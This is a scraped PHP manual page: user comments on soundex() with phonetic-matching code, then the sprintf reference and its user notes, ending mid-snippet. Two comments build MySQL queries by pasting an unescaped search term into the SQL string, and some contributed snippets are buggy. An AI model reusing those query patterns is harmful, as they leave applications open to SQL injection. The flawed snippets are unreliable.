I originally looked at soundex() because I wanted to compare how individual letters sounded. So, when pronouncing a string of generated characters it would be easy to to distinguish them from eachother.  (ie, TGDE is hard to distinguish, whereas RFQA is easier to understand). The goal was to generate IDs that could be easily understood with a high degree of accuracy over a radio of varying quality. I quickly figured out that soundex and metaphone wouldn't do this (they work for words), so I wrote the following to help out. The ID generation function iteratively calls chrSoundAlike() to compare each new character with the preceeding characters. I'd be interested in recieving any feedback on this. Thanks.

<?php
function chrSoundAlike($char1, $char2, $opts = FALSE) {
    $char1 = strtoupper($char1);
    $char2 = strtoupper($char2);
    $opts  = strtoupper($opts);

    // Setup the sets of characters that sound alike.
    // (Options: include numbers, include W, include both, or default is none of those.)
    switch ($opts) {
    case 'NUMBERS':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'STRICT':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'BOTH':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    default:
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U'));
        break;
    }

    // See if $char1 is in a set.
    $matchset = array();
    for ($i = 0; $i < count($sets); $i++) {
        if (in_array($char1, $sets[$i])) {
            $matchset = $sets[$i];
        }
    }

    // IF char2 is in the same set as char1, or if char1 and char2 and the same, then return true.
    if (in_array($char2, $matchset) OR $char1 == $char2) {
        return TRUE;
    } else {
        return FALSE;
    }
}
?>
mail at gettheeawayspam dot iaindooley dot com 10-Jul-2003 11:04
The soundex 'different letter in front' problem can be solved by using levenshtein() on the soundex codes. in my application, which is searching a database of album names for entries that match a particular user provided string, i do the following:

1. Search the database for the exact name
2. Search the database for entries where the name occurs anyway as a string
3. Search the database for entries where any of the words in the name (if the user has typed in more than one word) is present, except for little words (and, the, of etc)
4. Then, if all this fails, I go to plan b:

- calculate the levenshtein distance (levenshtein()) between the user search term and each of the entries in the database as a percentage of the length of the user search term entered

- calculate the levenshtein distance between the metphone codes of the user search term entered and each field in the database as a percentage of the length of the metaphone code of the user search term entered

- calculate the levenshtein distance between the soundex codes of the user search term entered and each field in the database as a percentage of the length of the soundex code of the original user search term entered

if any of these percentages is less than 50 (means that two soundex codes with different first letters will be accepted!!) then the entry is accepted as a possible match.
pee whitt at dental dot ufl dor edu 09-Jun-2003 06:12
fie at myrealbox dot com-

regarding your soudex syllable request- i think counting vowel clusters in the word will result in an accurate count of syllables.  so no soudex feature is necessary, just count through the chars in the word, and everytime you run from vowel to consanant, increment the syllable count.

using this logic, this sentence is categorized as follows.
2 1 2 1 1 (3) (0) (4) (0) 2

where (#) marks a word that is incorrectly categorized.  i'm sure usiong a little thinking one could figure out the logic in those cases that would result in an accurate count.  counting changes from vowel to consanant would yield-
(1) 1 2 1 2 1 (4) 1 2

taking the average and then cieling of the two types would fix most of the errors.
fie at myrealbox dot com 08-Mar-2003 05:29
eek... hosting got taken down on that server.. here's the code for the previous

function cg_sylc($nos){
  $nos = strtoupper($nos);
  $syllables = 0;

  $before = strlen($nos);
  $nos = str_replace(array('AA','AE','AI','AO','AU',
  'EA','EE','EI','EO','EU','IA','IE','II','IO',
  'IU','OA','OE','OI','OO','OU','UA','UE',
  'UI','UO','UU'), "", $nos);
  $after = strlen($nos);
  $diference = $before - $after;
  if($before != $after) $syllables += $diference / 2;

  if($nos[strlen($nos)-1] == "E") $syllables --;
  if($nos[strlen($nos)-1] == "Y") $syllables ++;

  $before = $after;
  $nos = str_replace(array('A','E','I','O','U'),"",$nos);
  $after = strlen($nos);
  $syllables += ($before - $after);

  return $syllables;
}

function cg_SoundEx($SExStr){
  $syl = cg_sylc($SExStr);
  $SExStr = strtoupper($SExStr);

    for($i = 1, $ii = 2,print $SExStr[0]; ;$ii++){

      if(($SExStr[$i] != $SExStr[$ii])){
          $tsstr .= $SExStr[$ii];
          $i ++;
      }
      if($SExStr[$ii] == false){
        break;
      }
    }

  $tsstr = str_replace(array('A', 'E', 'H', 'I', 'O', 'U', 'W', 'Y'), "", $tsstr);
  $tsstr = str_replace(array('B', 'F', 'P', 'V'), "1", $tsstr);
  $tsstr = str_replace(array('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z', '?'), "2", $tsstr);
  $tsstr = str_replace(array('D', 'T'), "3", $tsstr);
  $tsstr = str_replace(array('L'), "4", $tsstr);
  $tsstr = str_replace(array('M', 'N', '?'), "5", $tsstr);
  $tsstr = str_replace(array('R'), "6", $tsstr);

  while($iii < 3){
    if($tsstr[$iii] != false){
      $ttsstr .= $tsstr[$iii];
    } else {
      $ttsstr .= "0";
    }
    $iii ++;
  }
  $ttsstr .= $syl;
  print $ttsstr;
}
fie at myrealbox dot com 25-Feb-2003 05:34
administrator at zinious dot com:

Sorry but your code wasnt soundex compliant
here were my results with your code, my code, and the default..

string: rest
R620 perform administrator's function 0.009452
R230 perform cg's function 0.001779
R230 perform default soundex function 9.4999999999956E-005

string: reset
R620 perform administrator's function 0.0055900000000001
R230 perform cg's function 0.00091799999999997
R230 perform default soundex function 0.00010600000000005

i dunno why the default, every once in a while, will for some reason be 9.xxx. very odd i think..
my code is at the bottom.. these tests were before the soundex modification as i discribe below..
btw for all the original specs on the soundex algorithm goto
http://www.star-shine.net/~functionifelse/GFD/?word=soundex

dalibor dot toth at podravka dot hr:

yes it is perhaps sad that it gives you the same code,
even metaphone has that problem..
but one might not want to be so accurate.. if somone
is on search engine.. lets call it shmoogle looking
for "php array reset" and search for "php array rest"
then shmoogle might return stuff about beds and such..
(if they were all stupid and didnt use the first words
as more important) so anyways shmoogle might need it to
be less accurate in such cases.. but nonetheless..
my fix for this is to add the number of syllables at the end of the string making it 5 characters long..
this would work as fallows..

code at: http://star-shine.net/~functionifelse/cg_soundex.php

or if you wanted to just use the default soundex function

$str = soundex($str).cg_sylc($str);

revolutionary more or less.. problly less...
This function is only meant for one word though.. i'd like to see someone
modify it to use split and run it through a loop to get each words cg_soundex
that'll be fun ;)
i would also like to sujest to the php zend apache kinda people who make php
to add an optional additional variable the user can specify as fallows

soundex("string",SYL);

which would return the number of syllables at the end of the string
highly accurate sound testing woo! also you could add VOW for vowels
and CONS for consonant or whatever else someone would want..
but i really think the number of syllables will be pleanty efficiant.
umm.. if this helps anyone your welcome.. ummm.. good luck in all
your php adventures.. oh... and the final results

syllables
1 rest
2 reset
metaphone
RST rest
RST reset
soundex
R230 rest
R230 reset

string: rest
R2301 perform cg's function 0.00211
R230 perform default soundex function 0.00011299999999997

string: reset
R2302 perform cg's function 0.001691
R230 perform default soundex function 0.00010399999999999

the default function is a tad bit faster..
so maybe they will add this option and we'll have speed and accuracy.

SILENT WIND OF DOOM WOOSH!
jr 16-Jan-2003 09:25
a workaround for the mysql/php differences in implementation of soundex is to do the soundex comparison entirely within mysql.

for example:
$sql = "SELECT * FROM table WHERE substring(soundex(field), 1, 4) =  substring(soundex('".$wordsearch."'), 1, 4)";
info at nederlandsch dot net 20-Dec-2002 05:26
MySQL soundex (3.23.49) doesn't examine the first character at all to see whether it should be skipped. Therefore the Dutch name of The Hague, the country's government seat, 's-Gravenhage will give a soundex value of '261 in MySQL and S615 in PHP.
dcallaghan at linuxmail dot org 10-Jun-2002 04:25
Although the standard soundex string is 4 characters long, and this is what's returned by the php function, some database programs return an arbitrary number of strings. MySQL, for instance.

The MySQL documentation covers this, recommending that you may wish to use substring to output the standard 4 characters. Let's take 'Dostoyevski' as an example.

select soundex("Dostoyevski")
returns D2312
select substring(soundex("Dostoyevski"), 1, 4);
returns D231

PHP will return the value as 'D231'

So, to use the soundex function to generate a WHERE parameter in a MySQL SELECT statement, you might try this:
$s = soundex('Dostoyevski');
SELECT * FROM authors WHERE substring(soundex(lastname), 1 , 4) = "' . $s  . '"';

Or, if you want to bypass the php function
$result = mysql_query("select soundex('Dostoyevski')");
$s = mysql_result($result, 0, 0);
witold4249 at rogers dot com 17-May-2002 10:11
A MUCH easier way to check for similarity between words and avoid the problems that come up with Klancy/Clancy would be to simply add any letter infront of the string

ie:  OKlancy/OClancy
17-May-2002 10:07
A MUCH easier way to do the above search would be to simply add any letter in front of the string and then compare them.

ie. Klancy => LKlancy
    Clancy => LClancy
administrator at zinious dot com 09-Apr-2002 08:21
I wrote this function a long time ago in CGI-perl and then translated (if you can call it that) into PHP.  A little clunky to say the least, but should handle true soundex specs 100%:

// ---begin code---

function MakeSoundEx($stringtomakesoundexof)
{
    $temp_Name = $stringtomakesoundexof;
    $SoundKey1 = "BPFV";
    $SoundKey2 = "CSKGJQXZ";
    $SoundKey3 = "DT";
    $SoundKey4 = "L";
    $SoundKey5 = "MN";
    $SoundKey6 = "R";
    $SoundKey7 = "AEHIOUWY";

        $temp_Name = strtoupper($temp_Name);
    $temp_Last = "";
    $temp_Soundex = substr($temp_Name, 0, 1);

    $n = 1;
    for ($i = 0; $i < strlen($SoundKey1); $i++)
    {
            if ($temp_Soundex == substr($SoundKey1, i - 1, 1))
        {
            $temp_Last = "1";
            }
    }
    for ($i = 0; $i < strlen($SoundKey2); $i++)
    {
            if ($temp_Soundex == substr($SoundKey2, i - 1, 1))
        {
            $temp_Last = "2";
            }
    }
    for ($i = 0; $i < strlen($SoundKey3); $i++)
    {
            if ($temp_Soundex == substr($SoundKey3, i - 1, 1))
        {
            $temp_Last = "3";
            }
    }
    for ($i = 0; $i < strlen($SoundKey4); $i++)
    {
            if ($temp_Soundex == substr($SoundKey4, i - 1, 1))
        {
            $temp_Last = "4";
            }
    }
    for ($i = 0; $i < strlen($SoundKey5); $i++)
    {
            if ($temp_Soundex == substr($SoundKey5, i - 1, 1))
        {
            $temp_Last = "5";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "6";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "";
            }
    }

    for ($n = 1; $n < strlen($temp_Name); $n++)
    {
        if (strlen($temp_Soundex) < 4)
        {
            for ($i = 0; $i < strlen($SoundKey1); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey1, $i - 1, 1) && $temp_Last != "1")
                {
                    $temp_Soundex = $temp_Soundex."1";
                    $temp_Last = "1";
                }
            }
            for ($i = 0; $i < strlen($SoundKey2); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey2, $i - 1, 1) && $temp_Last != "2")
                {
                    $temp_Soundex = $temp_Soundex."2";
                    $temp_Last = "2";
                }
            }
            for ($i = 0; $i < strlen($SoundKey3); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey3, $i - 1, 1) && $temp_Last != "3")
                {
                    $temp_Soundex = $temp_Soundex."3";
                    $temp_Last = "3";
                }
            }
            for ($i = 0; $i < strlen($SoundKey4); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey4, $i - 1, 1) && $temp_Last != "4")
                {
                    $temp_Soundex = $temp_Soundex."4";
                    $temp_Last = "4";
                }
            }
            for ($i = 0; $i < strlen($SoundKey5); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey5, $i - 1, 1) && $temp_Last != "5")
                {
                    $temp_Soundex = $temp_Soundex."5";
                    $temp_Last = "5";
                }
            }
            for ($i = 0; $i < strlen($SoundKey6); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey6, $i - 1, 1) && $temp_Last != "6")
                {
                    $temp_Soundex = $temp_Soundex."6";
                    $temp_Last = "6";
                }
            }
            for ($i = 0; $i < strlen($SoundKey7); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey7, $i - 1, 1))
                {
                    $temp_Last = "";
                }
            }
        }
    }

    while (strlen($temp_Soundex) < 4)
    {
        $temp_Soundex = $temp_Soundex."0";
    }

    return $temp_Soundex;
}

// --- end code---
cap at capsi dot cx 13-Dec-1999 07:16
soundex() unfortunately is very sensitive about the first character. It is not possible to use it and have Clansy and Klansy return the same value. If you want to do a phonetic search on such names you will still need to write a routine to evaluate C452 as being similar to K452.


Return a formatted string

  • ? soundex
  • sscanf ?
  • PHP Manual
  • 字符串 函数
  • Return a formatted string

sprintf

(PHP 4, PHP 5, PHP 7)

sprintf — Return a formatted string

说明

sprintf ( string $format [, mixed $... ] ) : string

Returns a string produced according to the formatting string format.

参数

format

The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result and conversion specifications, each of which results in fetching its own parameter.

A conversion specification follows this prototype: %[flags][width][.precision]specifier.

Flags
Flag | 说明
- Left-justify within the given field width; Right justification is the default
+ Prefix positive numbers with a plus sign +; Default only negative are prefixed with a negative sign.
(space) | Pads the result with spaces. This is the default.
0 | Only left-pads numbers with zeros. With s specifiers this can also right-pad with zeros.
'(char) | Pads the result with the character (char).

Width

An integer that says how many characters (minimum) this conversion should result in.

Precision

A period . followed by an integer who's meaning depends on the specifier:

  • For e, E, f and F specifiers: this is the number of digits to be printed after the decimal point (by default, this is 6).
  • For g and G specifiers: this is the maximum number of significant digits to be printed.
  • For s specifier: it acts as a cutoff point, setting a maximum character limit to the string.

Note: If the period is specified without an explicit value for precision, 0 is assumed.

Note: Attempting to use a position specifier greater than PHP_INT_MAX will generate warnings.

Specifiers
Specifier | 说明
% A literal percent character. No argument is required.
b | The argument is treated as an integer and presented as a binary number.
c | The argument is treated as an integer and presented as the character with that ASCII.
d | The argument is treated as an integer and presented as a (signed) decimal number.
e | The argument is treated as scientific notation (e.g. 1.2e+2). The precision specifier stands for the number of digits after the decimal point since PHP 5.2.1. In earlier versions, it was taken as number of significant digits (one less).
E | Like the e specifier but uses uppercase letter (e.g. 1.2E+2).
f | The argument is treated as a float and presented as a floating-point number (locale aware).
F | The argument is treated as a float and presented as a floating-point number (non-locale aware). Available as of PHP 5.0.3.
g

General format.

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and F.
o | The argument is treated as an integer and presented as an octal number.
s | The argument is treated and presented as a string.
u | The argument is treated as an integer and presented as an unsigned decimal number.
x | The argument is treated as an integer and presented as a hexadecimal number (with lowercase letters).
X | The argument is treated as an integer and presented as a hexadecimal number (with uppercase letters).

Warning

The c type specifier ignores padding and width

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

Variables will be co-erced to a suitable type for the specifier:

Type Handling
Type | Specifiers
string | s
integer | d, u, c, o, x, X, b
double | g, G, e, E, f, F

...

返回值

Returns a string produced according to the formatting string format, 或者在失败时返回 FALSE.

范例

Example #1 Argument swapping

The format string supports argument numbering/swapping.

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>

以上例程会输出：

There are 5 monkeys in the tree

However imagine we are creating a format string in a separate file, commonly because we would like to internationalize it and we rewrite it as:

<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>

We now have a problem. The order of the placeholders in the format string does not match the order of the arguments in the code. We would like to leave the code as is and simply indicate in the format string which arguments the placeholders refer to. We would write the format string like this instead:

<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>

An added benefit is that placeholders can be repeated without adding more arguments in the code.

<?php
$format = 'The %2$s contains %1$d monkeys.
           That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>

When using argument swapping, the n$ position specifier must come immediately after the percent sign (%), before any other specifiers, as shown below.

Example #2 Specifying padding character

<?php
echo sprintf("%'.9d\n", 123);
echo sprintf("%'.09d\n", 123);
?>

以上例程会输出：

......123
000000123

Example #3 Position specifier with other specifiers

<?php
$format = 'The %2$s contains %1$04d monkeys';
echo sprintf($format, $num, $location);
?>

以上例程会输出：

The tree contains 0005 monkeys

Example #4 sprintf(): zero-padded integers

<?php
$isodate = sprintf("%04d-%02d-%02d", $year, $month, $day);
?>

Example #5 sprintf(): formatting currency

<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
echo $money;
echo "\n";
$formatted = sprintf("%01.2f", $money);
echo $formatted;
?>

以上例程会输出：

123.1
123.10

Example #6 sprintf(): scientific notation

<?php
$number = 362525200;

echo sprintf("%.3e", $number);
?>

以上例程会输出：

3.625e+8

参见

  • printf() - 输出格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vprintf() - 输出格式化字符串
  • vsprintf() - 返回格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化一个本地时间／日期

User Contributed Notes

Anonymous 13-Dec-2018 02:26
I have written a wrapper for sprintf. Add a new %S  (upper case s) where the number indicates the number of characters and not bytes.
This is useful for formatting utf-8 strings.

<?php
function SacSprintf( $format) {
        $argv = func_get_args() ;
        array_shift($argv) ;

        $offset = 0;
        $i = 0;
        while( preg_match("^A%[+-]*[.]*([0-9.]*)([a-z])^Ai", $format, $match, PREG_OFFSET_CAPTURE, $offset)) {
                if( $match[2][0] == 'S') {
                        if( $match[1][0] != '') {
                                $t1 = explode('.', $match[1][0]);
                                $t1[0] = intval($t1[0]) + strlen($argv[$i]) - strlen(utf8_decode($argv[$i]));
                                $l1 = strlen($match[1][0]);
                                $t2 = implode('.', $t1);
                                $l2 = strlen($t2) - $l1;
                                $format = substr_replace( $format, $t2, $match[1][1], strlen($match[1][0]));
                                $offset += $l2;
                                $match[2][1] += $l2;
                        }
                        $format[$match[2][1]] = 's';
                }
                $offset += $match[2][1];
                $i++;
        }
        return vsprintf($format, $argv) ;
}

echo "<pre>\n";
echo "      1234567890123456789012345678901234567890\n";
echo sprintf("Hola, %-20s is my name\n", "José Luis jiménez");
echo SacSprintf("Hola, %-20S is my name\n", "José Luis jiménez");
echo "</pre>\n";
?>

The output will be:
      1234567890123456789012345678901234567890
Hola, José Luis jiménez  is my name
Hola, José Luis jiménez    is my name
thavarajan at gmail dot com 06-Feb-2018 10:06
<?php
echo sprintf("%+08d", 0). "<Br>";
echo sprintf("%+07d", 0). "<Br>";
echo sprintf("%+06d", 0). "<Br>";
?>

Will produce an output
+0000000
+000000
+00000
Nathan Alan 19-Feb-2017 11:03
Just wanted to add that to get the remaining text from the string, you need to add the following as a variable in your scanf

%[ -~]

Example:

sscanf($sql, "[%d,%d]%[ -~]", $sheet_id, $column, $remaining_sql);
Anonymous 03-Jan-2017 10:02
Be cafeful while trying to refactor longer strings with repeated placeholders like

    sprintf("Hi %s. Your name is %s", $name, $name);

to use argument numbering:

   sprintf("Hi %1$s. Your name is %1$s", $name);

This will nuke you at **runtime**, because of `$s` thing being handled as variable. If you got no $s for substitution, notice will be thrown.

The solution is to use single quotes to prevent variable substitution in string:

   sprintf('Hi %1$s. Your name is %1$s', $name);

If you need variable substitution, then you'd need to split your string to keep it in single quotes:

   sprintf("Hi " . '%1$s' . ". Your {$variable} is " . '%1$s', $name);
Sam Bull 23-Oct-2015 02:35
Fix for sprintfn function for named arguments (http://php.net/manual/en/function.sprintf.php#94608):

Change the first line from:
  $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);
to:
  $arg_nums = array_keys($args);
  array_unshift($arg_nums, 0);
  $arg_nums = array_flip(array_slice($arg_nums, 1, NULL, true));
nmmm at nmmm dot nu 08-Apr-2015 07:31
php printf and sprintf not seems to support star "*" formatting.

here is an example:

printf("%*d\n",3,5);

this will print just "d" instead of "<two spaces>5"
kontakt at myseosolution dot de 26-Feb-2015 10:34
There are already some comments on using sprintf to force leading leading zeros but the examples only include integers. I needed leading zeros on floating point numbers and was surprised that it didn't work as expected.

Example:
<?php
sprintf('%02d', 1);
?>

This will result in 01. However, trying the same for a float with precision doesn't work:

<?php
sprintf('%02.2f', 1);
?>

Yields 1.00.

This threw me a little off. To get the desired result, one needs to add the precision (2) and the length of the decimal seperator "." (1). So the correct pattern would be

<?php
sprintf('%05.2f', 1);
?>

Output: 01.00

Please see http://stackoverflow.com/a/28739819/413531 for a more detailed explanation.
john at jbwalker dot com 24-May-2014 12:24
I couldn't find what should be a WARNING in the documentation above, that if you have more specifiers than variables to match them sprintf returns NOTHING. This fact, IMHO, should also be noted under return values.
hdimac at gmail dot com 14-Apr-2014 04:00
In the examples, is being shown printf, but it should say sprintf, which is the function being explained... just a simple edition mistake.
ivan at php dot net 28-Dec-2013 08:13
There is a minor issue in a code of mb_vsprintf function from viktor at textalk dot com.

In "truncate $arg" section the following line:
  $arg = mb_substr($precision,0,$precision,$encoding);
needs to be replaced with:
  $arg = mb_substr($arg,0,$precision,$encoding);
Alex R. Gibbs 25-Jan-2013 08:17
1.  A plus sign ('+') means put a '+' before positive numbers while a minus sign ('-') means left justify.  The documentation incorrectly states that they are interchangeable.  They produce unique results that can be combined:

<?php
echo sprintf ("|%+4d|%+4d|\n",   1, -1);
echo sprintf ("|%-4d|%-4d|\n",   1, -1);
echo sprintf ("|%+-4d|%+-4d|\n", 1, -1);
?>

outputs:

|  +1|  -1|
|1   |-1  |
|+1  |-1  |

2.  Padding with a '0' is different than padding with other characters.  Zeros will only be added at the front of a number, after any sign.  Other characters will be added before the sign, or after the number:

<?php
echo sprintf ("|%04d|\n",   -2);
echo sprintf ("|%':4d|\n",  -2);
echo sprintf ("|%-':4d|\n", -2);

// Specifying both "-" and "0" creates a conflict with unexpected results:
echo sprintf ("|%-04d|\n",  -2);

// Padding with other digits behaves like other non-zero characters:
echo sprintf ("|%-'14d|\n", -2);
echo sprintf ("|%-'04d|\n", -2);
?>

outputs:

|-002|
|::-2|
|-2::|
|-2  |
|-211|
|-2  |
ignat dot scheglovskiy at gmail dot com 10-Oct-2012 08:47
Here is an example how alignment, padding and precision specifier can be used to print formatted list of items:

<?php

$out = "The Books\n";
$books = array("Book 1", "Book 2", "Book 3");
$pages = array("123 pages ", "234 pages", "345 pages");
for ($i = 0; $i < count($books); $i++) {
    $out .= sprintf("%'.-20s%'.7.4s\n", $books[$i], $pages[$i]);
}
echo $out;

// Outputs:
//
// The Books
// Book 1.................123
// Book 2.................234
// Book 3.................345
?>
Hayley Watson 07-Jun-2012 11:21
If you use argument numbering, then format specifications with the same number get the same argument; this can save repeating the argument in the function call.

<?php

$pattern = '%1$s %1$\'#10s %1$s!';

printf($pattern, "badgers");
?>
krzysiek dot 333 at gmail dot com - zryty dot hekko dot pl 20-Aug-2011 12:48
Encoding and decoding IP adress to format: 1A2B3C4D (mysql column: char(8) )

<?php
function encode_ip($dotquad_ip)
{
    $ip_sep = explode('.', $dotquad_ip);
    return sprintf('%02x%02x%02x%02x', $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]);
}

function decode_ip($int_ip)
{
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>
timo dot frenay at gmail dot com 02-May-2011 05:38
Here is how to print a floating point number with 16 significant digits regardless of magnitude:

<?php
    $result = sprintf(sprintf('%%.%dF', max(15 - floor(log10($value)), 0)), $value);
?>

This works more reliably than doing something like sprintf('%.15F', $value) as the latter may cut off significant digits for very small numbers, or prints bogus digits (meaning extra digits beyond what can reliably be represented in a floating point number) for very large numbers.
carmageddon at gmail dot com 02-Feb-2011 06:38
If you want to convert a decimal (integer) number into constant length binary number in lets say 9 bits, use this:

$binary = sprintf('%08b', $number );

for example:
<?php
$bin = sprintf('%08b',511 );
echo $bin."\n";
?>

would output 111111111
And 2 would output 00000010

I know the leading zeros are useful to me, perhaps they are to someone else too.
dwieeb at gmail dot com 01-Sep-2010 11:54
If you use the default padding specifier (a space) and then print it to HTML, you will notice that HTML does not display the multiple spaces correctly. This is because any sequence of white-space is treated as a single space.

To overcome this, I wrote a simple function that replaces all the spaces in the string returned by sprintf() with the character entity reference "&nbsp;" to achieve non-breaking space in strings returned by sprintf()

<?php
//Here is the function:
function sprintf_nbsp() {
   $args = func_get_args();
   return str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}

//Usage (exactly like sprintf):
$format = 'The %d monkeys are attacking the [%10s]!';
$str = sprintf_nbsp($format, 15, 'zoo');
echo $str;
?>

The above example will output:
The 15 monkeys are attacking the [       zoo]!

<?php
//The variation that prints the string instead of returning it:
function printf_nbsp() {
   $args = func_get_args();
   echo str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}
?>
geertdd at gmail dot com 01-Sep-2010 12:53
Note that when using a sign specifier, the number zero is considered positive and a "+" sign will be prepended to it.

<?php
printf('%+d', 0); // +0
?>
nate at frickenate dot com 13-Nov-2009 11:45
Here's a clean, working version of functions to allow using named arguments instead of numeric ones. ex: instead of sprintf('%1$s', 'Joe');, we can use sprintf('%name$s', array('name' => 'Joe'));. I've provided 2 different versions: the first uses the php-like syntax (ex: %name$s), while the second uses the python syntax (ex: %(name)s).

<?php

/**
 * version of sprintf for cases where named arguments are desired (php syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %second$s ; first: %first$s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)([a-zA-Z_]\w*)(?=\$)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key], $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

/**
 * version of sprintf for cases where named arguments are desired (python syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %(second)s ; first: %(first)s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)\(([a-zA-Z_]\w*)\)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key] . '$', $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

?>
Astone 15-Sep-2009 11:41
When you're using Google translator, you have to 'escape' the 'conversion specifications' by putting <span class="notranslate"></span> around them.

Like this:

<?php

function getGoogleTranslation($sString, $bEscapeParams = true)
{
    // "escape" sprintf paramerters
    if ($bEscapeParams)
    {
        $sPatern = '/(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
        $sEscapeString = '<span class="notranslate">$0</span>';
        $sString = preg_replace($sPatern, $sEscapeString, $sString);
    }

    // Compose data array (English to Dutch)
    $aData = array(
        'v'            => '1.0',
        'q'            => $sString,
        'langpair'    => 'en|nl',
    );

    // Initialize connection
    $rService = curl_init();

    // Connection settings
    curl_setopt($rService, CURLOPT_URL, 'http://ajax.googleapis.com/ajax/services/language/translate');
    curl_setopt($rService, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($rService, CURLOPT_POSTFIELDS, $aData);

    // Execute request
    $sResponse = curl_exec($rService);

    // Close connection
    curl_close($rService);

    // Extract text from JSON response
